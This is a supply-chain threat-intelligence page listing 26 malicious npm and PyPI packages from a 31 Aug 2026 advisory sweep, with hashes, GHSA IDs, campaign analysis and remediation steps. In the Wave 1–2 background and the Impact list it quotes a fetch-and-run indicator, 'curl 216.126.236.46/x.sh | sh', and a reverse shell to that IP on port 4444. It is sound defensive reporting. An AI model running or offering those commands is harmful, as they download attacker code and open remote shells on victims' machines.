DependencyWatch.io
FeedSolutionsSubmitScan your lockfile
Feed
HighPublished 31 Aug 202626 packages · 26 versions

GitHub Advisory malware sweep - 2026-08-31 batch (npm `grafeno-actions@999.0.0` Wave 3 dep-confusion pivot + Deutsche Bank `Autobahn` Electron dep-confusion probe (`autobahn-electron-probe@99.99.1`, `com.db.autobahn.notification-center-electron@88.88.2`) + `fuels-*`/`verify-contract-*`/`generate-schema-*` web3-tooling typosquat cluster (6 packages) + PyPI `tronlinker` Tronix crypto-wallet-drain + late-arriving 2026-08-30 `*-codex`/`*fcrxz` clusters + late `trongridor` + `auth-app-streamlit` PyPI)

Summary

Wave 3 of the grafeno-* Brazilian-fintech campaign lands as grafeno-actions@999.0.0 - a pure dependency-confusion pivot after Waves 1-2's pre-install payload. Alongside it: a Deutsche Bank Autobahn Electron dep-confusion probe (2 pkgs), a 6-pkg web3 typosquat cluster (fuels-* / verify-contract-* / generate-schema-*), a PyPI Tronix drain, and 12 late-arriving 2026-08-30 advisories.

dependency-confusiontyposquatcredential-theftcrypto-wallet-drainci-cd-compromise
Detected by
GitHub Advisory Database · OpenSSF malicious-packages · OpenSSF Package Analysis · Amazon Inspector
Also known as
2026-08-31 GHSA sweep · 2026-08-grafeno wave 3 · 2026-08-autobahn-db-electron dep-confusion · 2026-08-fuels-ethers-viem web3 typosquat cluster
Ecosystems
npmPyPI
Packages tracked
26

What happened

The 24 hours ending 2026-08-31 published 14 new npm+PyPI malware advisories, plus 12 late-arriving advisories dated 2026-08-30 that surfaced after yesterday's sweep closed. Headlines: a third wave of the grafeno-* Brazilian-fintech campaign that pivots from pre-install payload to pure dependency-confusion; a Deutsche Bank Autobahn Electron dep-confusion probe with reversed-DNS naming and inflated version numbers; and a 6-package web3-tooling typosquat cluster targeting Fuel Labs / ethers / viem / block-explorer verify tooling.

Cluster A - npm grafeno-* Wave 3 (dep-confusion pivot)

| Package | Version | GHSA | Source hash | MAL id | |---|---|---|---|---| | grafeno-actions | 999.0.0 | GHSA-rcj7-44gp-9983 | 3a52df88…058c2d7d | MAL-2026-15596 |

Relationship to Waves 1-2: Wave 1 (2026-08-29) shipped 9 grafeno-* packages (grafeno-auth, grafeno-client, grafeno-utils, grafeno-config, grafeno-api, grafeno-core, grafeno-pix, grafeno-logger, grafeno-sdk) with curl 216.126.236.46/x.sh | sh + 30-minute crontab. Wave 2 (2026-08-30) shipped 3 grafeno-* packages (grafeno-webhook, grafeno-payments, grafeno-billing) that swapped to env-var scraping + 216.126.236.46:4444 interactive reverse bash shell. Wave 3 abandons pre-install payload entirely: the version-999.0.0 signature is a classic dependency-confusion probe designed to override any lower internal grafeno-actions version in a Brazilian fintech CI/CD pipeline. The -actions suffix suggests a targeted internal GitHub Actions workflow. This is a deliberate operator pivot - three tactically distinct waves in 72 hours, all against the same brand.

Cluster B - Deutsche Bank Autobahn Electron dep-confusion

| Package | Version | GHSA | Source hash | MAL id | |---|---|---|---|---| | autobahn-electron-probe | 99.99.1 | GHSA-8jx3-79xq-v4q4 | d3c07ff6…97e44fc7 | MAL-2026-15589 | | com.db.autobahn.notification-center-electron | 88.88.2 | GHSA-q6wc-5f8x-wwwj | fe0ae07b…38873807 | MAL-2026-15590 |

Attribution signals: (1) inflated version numbers 99.99.1 and 88.88.2 are the textbook dependency-confusion mechanic - guarantee that any internal resolver checking public+private routes will pick the public malicious one; (2) the com.db. reversed-DNS prefix mirrors Deutsche Bank Java-style internal package naming; (3) Autobahn is DB's corporate-and-investment-banking portal (autobahn.db.com) and DB ships an Electron-based Autobahn desktop client. Both packages call out to a domain and execute commands per OpenSSF Package Analysis (payload not further disclosed at time of publication). Any DB developer or contractor should audit .npmrc scope routing; any DB-adjacent build box that resolved either name should be treated as having exfiltrated secrets available in its process environment.

Cluster C - web3-tooling typosquat cluster (6 packages)

| Package | Version | GHSA | Source hash | MAL id | |---|---|---|---|---| | fuels-core | 1.0.0 | GHSA-w76m-93w4-w9vj | d21bb4c8…cdb0ee93 | MAL-2026-15592 | | fuels-typegen | 1.0.0 | GHSA-4f4x-3qvc-wffh | d3a77505…d5343ee | MAL-2026-15593 | | verify-contract-ethers | 1.0.0 | GHSA-7cgh-hfp8-2h8v | dd92ae4a…0417532 | MAL-2026-15598 | | verify-contract-viem | 1.0.0 | GHSA-wgc5-g8h3-3grx | 3996f3da…fe826d66 | MAL-2026-15599 | | generate-schema-ethers | 1.0.0 | GHSA-f45j-cpvf-37vh | 1b03df58…b9d9f3cf | MAL-2026-15594 | | generate-schema-viem | 1.0.0 | GHSA-rrqc-jj9x-2m46 | 6300576c…3c7dad78 | MAL-2026-15595 |

Targets: the paired -ethers / -viem suffix is the give-away - the operator is going after Web3 developers who default to either of the two dominant Ethereum client libraries. fuels-core / fuels-typegen typosquat the legitimate scoped Fuel Labs packages @fuel-ts/core and @fuel-ts/typegen. verify-contract-* mirrors block-explorer contract-verification tooling (@nomicfoundation/hardhat-verify, foundry-rs). generate-schema-* mirrors ABI-to-schema codegen tooling. All six flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint - a shared publisher fingerprint suggests one operator, one push.

Cluster D - OOB probes (2 packages)

| Package | Version | GHSA | MAL id | |---|---|---|---| | npx-oob-package | 1.0.2 | GHSA-2gqg-4mch-fmq5 | MAL-2026-15597 | | cre-setup | 1.0.0 | GHSA-85ff-72jm-25qf | MAL-2026-15591 |

npx-oob-package is a canonical bug-bounty out-of-band probe (name explicitly encodes oob). cre-setup unclear but shares the domain-callback + command-execution fingerprint. Treat both as compromise until pentest attribution proven.

Cluster E - CWE-506 boilerplate takedowns (2 packages)

| Package | Affected versions | GHSA | |---|---|---| | redis-cookie-server | all versions (>= 0) | GHSA-jgx3-v64x-v2w5 | | eslint-prettier-js | all versions (>= 0) | GHSA-fp43-fcrg-6w93 |

Both published pure CWE-506 boilerplate advisories with no per-package IOCs. Name-shape suggests typosquats of the connect-redis / redis-connect session-store family and the eslint-config-prettier / eslint-plugin-prettier namespace, respectively.

Cluster F - PyPI Tronix crypto-wallet-drain

| Package | Version | GHSA | Source hash | Campaign | |---|---|---|---|---| | tronlinker | 0.0.1 | GHSA-55gr-cx76-2q6q | 18f3b8d2…5dfaee | 2025-04-tronix |

Continues the year-plus-old 2025-04-tronix PyPI campaign - 100+ typosquats of the legitimate trongrid Python SDK exfiltrating Tron / TRX private keys, using cloned-README decoy tactics.

Late-arriving 2026-08-30 advisories (12 packages)

These advisories were dated 2026-08-30 but surfaced after yesterday's 2026-08-30 sweep closed. Folded in here rather than back-editing yesterday's record to keep today's PR diff clean.

Cluster G - *-codex typosquat cluster (4 packages, npm)

| Package | GHSA | |---|---| | h2-codex | GHSA-8h78-gfj3-qrp2 | | h3-codex | GHSA-w6m7-6jhr-mfjc | | brat-codex | GHSA-63wg-22hx-h5q4 | | h3client | GHSA-89vf-5xgx-fhq7 |

All all-versions CWE-506 boilerplate. The h2- / h3- prefix mirrors Cloudflare's HTTP framework h3; the -codex suffix piggybacks OpenAI's Codex CLI naming space.

Cluster H - *fcrxz twin-typo cluster (2 packages, npm)

| Package | GHSA | |---|---| | cloudfcrxz | GHSA-p375-pmrj-262v | | cloufcrxz | GHSA-gxpc-36pf-vcrw |

Two variants (with and without the d) of the same base name - throwaway-account twin-typo pattern.

Cluster I - other late 2026-08-30 npm CWE-506 takedowns (4 packages)

| Package | GHSA | Note | |---|---|---| | @lucideproxy/svg | GHSA-6j97-93gg-j7r8 | typosquats Lucide icon library scope | | @fidzzhost/baileys | GHSA-vc2v-c8j2-qxg9 | typosquats @whiskeysockets/baileys (WhatsApp-Web-API) | | real-browser-plus | GHSA-ffvr-gx62-j45m | typosquats real-browser puppeteer-stealth | | originaldevelopmentstelemetry | GHSA-m8hq-jrvf-g8xm | reads as internal telemetry dep-confusion probe |

Cluster J - late 2026-08-30 PyPI (2 packages)

| Package | Version | GHSA | Source hash | Campaign | |---|---|---|---|---| | trongridor | 0.0.1 | GHSA-vg2j-fq8r-2c48 | 46fcd4ed…59341341 | 2025-04-tronix | | auth-app-streamlit | <= 2.1.1 | GHSA-ff3f-7fvh-5cpv | 9662b50e…e9e8a199 | GENERIC-standard-pypi-install-pentest |

trongridor is a companion to today's tronlinker in the ongoing Tronix campaign. auth-app-streamlit is classified PROBABLY_PENTEST - setup.py install-command override that exfils host IP + username to a callback URL.

Registry state

All listed packages were flagged as malware on npm / PyPI on 2026-08-30 or 2026-08-31. Multiple have been yanked and replaced with holding packages by the registry security teams. Internal mirrors routinely keep serving yanked tarballs; re-sync every mirror.

Related tracked activity

Affected packages (26)

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.

Check package-lock.jsonCheck requirements.txt

Impact

  • *Cluster A - npm `grafeno- Wave 3 dep-confusion pivot (2026-08-31, 1 package)**: grafeno-actions@999.0.0 (GHSA-rcj7-44gp-9983, MAL-2026-15596, hash 3a52df88a9094028961676cb72f9e43f88fcef959cc4e1db63687785058c2d7d). Same operator as [Wave 1 (2026-08-29, 9 packages, curl 216.126.236.46/x.sh | sh + 30-minute crontab)](/incident/multi-2026-08-29-ghsa-malware-sweep) and [Wave 2 (2026-08-30, 3 packages, env-var stealer + 216.126.236.46:4444 reverse shell)](/incident/multi-2026-08-30-ghsa-malware-sweep), but this wave abandons pre-install payload delivery entirely and pivots to pure dependency-confusion. The 999.0.0 version number is the classic dep-confusion signature - it beats any lower internal grafeno-actions@x.y.z version a Brazilian fintech CI/CD workflow might resolve if .npmrc scope routing is misconfigured. The -actions suffix suggests a targeted GitHub Actions workflow name - any team that runs npm install grafeno-actions` from an unpinned CI step could pull this. OpenSSF Package Analysis flagged the CWE-506 behaviour; hash confirms this is not a benign re-publish
  • Cluster B - Deutsche Bank Autobahn Electron dep-confusion (2026-08-31, 2 packages): autobahn-electron-probe@99.99.1 (GHSA-8jx3-79xq-v4q4, MAL-2026-15589, hash d3c07ff64c9729469df8453fb5fd6fa15e1099e81916496d741fe10297e44fc7) and com.db.autobahn.notification-center-electron@88.88.2 (GHSA-q6wc-5f8x-wwwj, MAL-2026-15590, hash fe0ae07b99c275a092bcb2e4836aeb711a02f98def45f54f91bcf5ba38873807). Two signals make this a targeted dep-confusion probe of Deutsche Bank's internal Autobahn Electron desktop apps (Autobahn is DB's corporate & investment banking trading portal at autobahn.db.com): (1) inflated version numbers (99.99.1 / 88.88.2) - the classic dep-confusion mechanic to guarantee an internal version resolver picks the public malicious one; (2) reversed-DNS naming com.db.autobahn.* mirroring Java-style internal package names that a Deutsche Bank build pipeline might resolve. Both call out to a domain and execute commands per OpenSSF Package Analysis. Any DB developer, or any org that mirrors DB's internal Node monorepo layouts, should audit .npmrc scope-registry routing
  • Cluster C - web3-tooling typosquat cluster (2026-08-31, 6 packages): fuels-core@1.0.0 (GHSA-w76m-93w4-w9vj, MAL-2026-15592, hash d21bb4c8fac5120e8d1c6227bd7248f35ddb633bcb3c7ca08427b964cdb0ee93) and fuels-typegen@1.0.0 (GHSA-4f4x-3qvc-wffh, MAL-2026-15593, hash d3a77505eb8f38e58c0a2b2a3b9ab7a0c4976077df0cef66e39b146eed5343ee) - typosquats of the legitimate Fuel Labs @fuel-ts/* scoped packages. verify-contract-ethers@1.0.0 (GHSA-7cgh-hfp8-2h8v, MAL-2026-15598, hash dd92ae4a5555d9abe274ad50e627402e6fcba1b9486f0f565dd2a11920417532), verify-contract-viem@1.0.0 (GHSA-wgc5-g8h3-3grx, MAL-2026-15599, hash 3996f3daf2ae95942dab5a1961f8e5c1c267aa093c073002b5771860fe826d66), generate-schema-ethers@1.0.0 (GHSA-f45j-cpvf-37vh, MAL-2026-15594, hash 1b03df588fe1ae0b803b15d5b2b66efc516887314c772e3190af2916b9d9f3cf), and generate-schema-viem@1.0.0 (GHSA-rrqc-jj9x-2m46, MAL-2026-15595, hash 6300576c16b112520e6a4cde256e38ce14736ec575b8c94e58a0a9163c7dad78) - six packages published on the same day, all v1.0.0, all flagged by OpenSSF Package Analysis for the same "communicates with a domain associated with malicious activity" + "executes one or more commands" fingerprint. The paired -ethers / -viem naming targets developers reaching for either of the two dominant Ethereum client libraries. verify-contract-* mirrors block-explorer verification tooling (e.g. hardhat-verify, foundry-rs verify-contract); generate-schema-* mirrors ABI-to-schema codegen tooling. Any Web3 developer, DAO, or smart-contract shop that resolved these by autocomplete typo could have opened a shell
  • Cluster D - OOB probes (2026-08-31, 2 packages): npx-oob-package@1.0.2 (GHSA-2gqg-4mch-fmq5, MAL-2026-15597, hash 97f657a8f0fdcb9bebaa6ad7caf2775f059ee15fd9e721d1ca66e5bd239ba42c) and cre-setup@1.0.0 (GHSA-85ff-72jm-25qf, MAL-2026-15591, hash 7a338301f299dfbe6fb5f4a0e2f0ca15e3a26765b411205b9cc9a74178660283). Both flagged for domain-callback + command execution. npx-oob-package is a canonical bug-bounty out-of-band probe (oob = out-of-band), reasonable to treat as pentest recon. cre-setup unclear but same probe fingerprint. Lockfile hits should still be treated as compromise until proven otherwise
  • Cluster E - CWE-506 boilerplate takedowns (2026-08-31, 2 packages): redis-cookie-server (GHSA-jgx3-v64x-v2w5, all versions) and eslint-prettier-js (GHSA-fp43-fcrg-6w93, all versions). Pure CWE-506 boilerplate advisories with no per-package IOCs. Both look like typosquat plays - redis-cookie-server piggybacks the connect-redis / redis-connect session-store family; eslint-prettier-js piggybacks the eslint-config-prettier / eslint-plugin-prettier naming space. Defensive value is name-level: any lockfile hit means uninstall
  • Cluster F - PyPI Tronix crypto-wallet-drain (2026-08-31, 1 package): tronlinker@0.0.1 (GHSA-55gr-cx76-2q6q, MAL-2026-15588, hash 18f3b8d2924d38ddd8e852a2ca3311ccb85a82a4a6eedc836c4b8086465dfaee, campaign identifier 2025-04-tronix). Yet another entry in the year-plus-old low-volume 2025-04-tronix PyPI campaign that has produced 100+ typosquats of the legitimate trongrid Python SDK - this one drops the -grid suffix in favour of -linker. Same category as previous entries tracked in multi-2026-08-27-ghsa-malware-sweep and pypi-2026-07-18-ghsa-malware-sweep: exfiltrates Tron / TRX private keys, clones legitimate trongrid README as decoy. Impact: any Tron wallet running on a host where this was pip installed should be considered drained
  • *Cluster G - late-arriving 2026-08-30 `-codex cluster (4 packages, npm)**: h2-codex (GHSA-8h78-gfj3-qrp2), h3-codex (GHSA-w6m7-6jhr-mfjc), brat-codex (GHSA-63wg-22hx-h5q4), h3client (GHSA-89vf-5xgx-fhq7). All published 2026-08-30 but surfaced after yesterday's [2026-08-30 sweep](/incident/multi-2026-08-30-ghsa-malware-sweep) closed - folded in here rather than back-editing yesterday's record. The h2-codex / h3-codex / h3client triple typosquats the h2 / h3 (Cloudflare's HTTP framework) + OpenAI codex-cli naming spaces; brat-codex` piggybacks the same "codex" branding. All shipped pure CWE-506 embedded-malicious-code boilerplate advisories - no per-package IOCs disclosed. Defensive value is name-level
  • *Cluster H - late-arriving 2026-08-30 `fcrxz typo cluster (2 packages, npm)**: cloudfcrxz (GHSA-p375-pmrj-262v) and cloufcrxz (GHSA-gxpc-36pf-vcrw) - two variants (one with -d-, one with a dropped d) of the same cloudfcrxz` base name. Both CWE-506 all-versions takedowns published the same day. Twin-typo publication is a known throwaway-account pattern - both names get squatted to catch either typo. Name-level defensive signal
  • Cluster I - other late-arriving 2026-08-30 npm CWE-506 takedowns (4 packages): @lucideproxy/svg (GHSA-6j97-93gg-j7r8) - piggybacks the legitimate Lucide icon library scope; @fidzzhost/baileys (GHSA-vc2v-c8j2-qxg9) - piggybacks the popular @whiskeysockets/baileys WhatsApp-Web-API library under a look-alike scope; real-browser-plus (GHSA-ffvr-gx62-j45m) - piggybacks the real-browser puppeteer-stealth namespace; originaldevelopmentstelemetry (GHSA-m8hq-jrvf-g8xm) - reads as a probe of an internal "OriginalDevelopments" telemetry package (dep-confusion candidate). All shipped pure CWE-506 boilerplate. Name-level defensive signal
  • Cluster J - late-arriving 2026-08-30 PyPI (2 packages): trongridor@0.0.1 (GHSA-vg2j-fq8r-2c48, MAL-2026-15578, hash 46fcd4ed6da56295fe0a0b4a25cbaf848f10874c6905723472a57e7f59341341, campaign 2025-04-tronix) - companion to today's tronlinker, same Tron private-key exfil / README-clone pattern; and auth-app-streamlit@<=2.1.1 (GHSA-ff3f-7fvh-5cpv, MAL-2026-15577, hash 9662b50ee4db956c8a7ec0bd4e1c9842f709ab2d5d181c325702c727e9e8a199, campaign GENERIC-standard-pypi-install-pentest, classified PROBABLY_PENTEST) - a setup.py install-command override that exfiltrates host IP + username to a callback URL. auth-app-streamlit is a pentest / low-harm probe but hits are still worth investigating - the "streamlit" branding suggests it was crafted to lure Streamlit-app developers

What to do

  1. 1Grep every lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml, requirements.txt, Pipfile.lock, poetry.lock) for: grafeno-actions, autobahn-electron-probe, com.db.autobahn.notification-center-electron, fuels-core, fuels-typegen, verify-contract-ethers, verify-contract-viem, generate-schema-ethers, generate-schema-viem, npx-oob-package, cre-setup, redis-cookie-server, eslint-prettier-js, tronlinker, h2-codex, h3-codex, brat-codex, h3client, cloudfcrxz, cloufcrxz, @lucideproxy/svg, @fidzzhost/baileys, real-browser-plus, originaldevelopmentstelemetry, trongridor, auth-app-streamlit. Uninstall on any hit and rebuild the lockfile against a clean cache
  2. 2For Cluster A (grafeno-actions Wave 3): any Brazilian fintech, or any team using the legitimate Grafeno BaaS, should audit .npmrc and package.json for any workflow that resolves grafeno-actions (or any unscoped grafeno-*) from the public npm registry rather than an internal scope. Version-pin every internal grafeno-* dependency and enable --strict-peer-deps / lockfile-verify in CI. Continue to block 216.126.236.46 at egress across dev/CI/build - Waves 1 and 2 still hit that IP, and Wave 3 may pivot back to it. Expect a Wave 4 in the same 24-72h window
  3. 3For Cluster B (Deutsche Bank Autobahn dep-confusion): any DB engineer, or any org with an @autobahn/* or com.db.autobahn.* internal package namespace, must confirm scope-registry mappings in .npmrc route those names to the internal registry - never fall through to public npm. Set a scoped internal registry always-auth = true. Version-pin every internal Autobahn- dependency; a 99.99.1 public version will beat any realistic internal semver. Review ~/.npm/_logs on developer workstations for any install autobahn-electron-probe or `install com.db.autobahn.` line. Rotate any GitHub PAT / npm token that touched an affected workstation
  4. 4*For Cluster C (`fuels- / verify-contract- / generate-schema- web3 typosquats)**: any Web3 / DeFi / smart-contract shop should confirm that fuels-core and fuels-typegen in a lockfile actually resolves to @fuel-ts/core and @fuel-ts/typegen (the legitimate scoped Fuel Labs packages), and that any verify-contract- or generate-schema- dependency is the legitimate one (@nomicfoundation/hardhat-verify or foundry-rs`-style tooling), not the malicious 1.0.0 unscoped variant. On confirmed hits, rotate every wallet mnemonic / private key that was accessible on the affected machine - this cluster is web3-targeted and wallet exfil is the most likely payload class
  5. 5For Cluster F + J (tronlinker, trongridor): rotate every Tron / TRX wallet mnemonic / private key that ever lived on a host where these were pip installed. Move remaining balances off any potentially-affected wallet. Do NOT trust dry-run install output - the malicious install command runs before pip reports success
  6. 6For Cluster J (auth-app-streamlit): if this ever shipped to a Streamlit-app deploy, treat host IP + username as exfiltrated. The campaign tag PROBABLY_PENTEST suggests low-harm, but any pentest probe on production infrastructure is worth an audit and IP allowlist review
  7. 7For all npm install runs in CI, prefer --ignore-scripts - dep-confusion pkgs still typically ship post/preinstall hooks
  8. 8For all pip install runs in CI, prefer --no-build-isolation + explicit --only-binary where possible - the auth-app-streamlit mechanism (setup.py install-command override) executes on any source install
  9. 9Verify none of the enumerated packages still resolves via your private mirror - internal caches (Nexus / Artifactory / Verdaccio / Sonatype / devpi) routinely keep serving yanked tarballs after the public takedown

References

Back to feedSubmit a correction
multi-2026-08-31-ghsa-malware-sweep